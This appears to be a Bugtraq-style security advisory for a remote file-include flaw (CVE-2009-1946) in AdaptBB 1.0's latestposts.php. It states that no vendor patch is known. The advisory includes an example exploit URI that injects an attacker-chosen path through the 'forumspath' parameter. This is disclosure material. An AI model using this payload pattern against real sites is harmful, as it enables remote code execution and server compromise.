AdaptBB 'latestposts.php' Remote File Include Vulnerability

Bugtraq ID:	44482
Class:	Input Validation Error
CVE:	CVE-2009-1946
Remote:	Yes
Local:	No
Published:	Jun 01 2009 12:00AM
Updated:	Jun 01 2009 12:00AM
Credit:	xoron
Vulnerable:	insanevisions AdaptBB 1.0
Not Vulnerable:

AdaptBB 'latestposts.php' Remote File Include Vulnerability

AdaptBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the affected application. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

AdaptBB 1.0 is vulnerable; other versions may be affected.

AdaptBB 'latestposts.php' Remote File Include Vulnerability

Attackers can exploit this issue through a browser.

The following example URI is available:

http://www.example.com/latestposts.php?forumspath=evilc0der?

AdaptBB 'latestposts.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

AdaptBB 'latestposts.php' Remote File Include Vulnerability

References:

• AdaptBB Homepage (Insane Visions)